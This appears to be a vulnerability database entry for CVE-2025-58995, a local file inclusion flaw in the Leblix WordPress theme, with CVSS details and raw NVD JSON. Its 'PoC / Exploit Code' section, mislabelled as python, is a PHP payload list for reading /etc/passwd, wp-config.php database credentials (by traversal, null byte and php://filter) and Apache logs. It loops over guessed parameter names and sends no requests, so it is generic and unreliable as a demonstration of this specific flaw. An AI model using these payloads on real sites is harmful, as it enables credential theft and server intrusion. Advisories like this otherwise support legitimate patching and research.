Security Vulnerability Report
中文
CVE-2025-58995 CVSS 8.1 HIGH

CVE-2025-58995

Published: 2025-11-06 16:16:01
Last Modified: 2026-04-27 20:16:24

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Creatives_Planet Leblix leblix allows PHP Local File Inclusion.This issue affects Leblix: from n/a through <= 2.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Leblix Theme <= 2.4 (所有版本)
Creatives_Planet Leblix (n/a 至 2.4)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58995 PoC - Leblix Theme Local File Inclusion * * This PoC demonstrates how to exploit the LFI vulnerability in Leblix theme. * Target: WordPress site running Leblix theme <= 2.4 */ $target = 'http://target-site.com'; // Attack 1: Read /etc/passwd (Linux systems) $lfi_payload_1 = '/etc/passwd'; // Attack 2: Read wp-config.php to extract database credentials $lfi_payload_2 = '../../../wp-config.php'; // Attack 3: Read configuration files using null byte injection (if applicable) $lfi_payload_3 = '../../../wp-config.php%00'; // Attack 4: Use PHP wrapper to read base64 encoded content $lfi_payload_4 = 'php://filter/read=convert.base64-encode/resource=../../../wp-config.php'; // Attack 5: Read Apache log file $lfi_payload_5 = '../../../var/log/apache2/access.log'; // Common vulnerable parameters to test $vulnerable_params = ['page', 'template', 'file', 'include', 'load', 'view', 'action']; // Function to test LFI vulnerability echo "Testing LFI vulnerability on: $target\n"; foreach ($vulnerable_params as $param) { $url = $target . '/?' . $param . '=' . urlencode($lfi_payload_1); echo "Testing parameter: $param\n"; echo "URL: $url\n"; // In real attack, send HTTP request and check response } // Note: Replace 'target-site.com' with actual vulnerable target // This PoC is for educational and authorized testing purposes only ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58995", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:00.987", "lastModified": "2026-04-27T20:16:23.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Creatives_Planet Leblix leblix allows PHP Local File Inclusion.This issue affects Leblix: from n/a through <= 2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/leblix/vulnerability/wordpress-leblix-theme-2-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}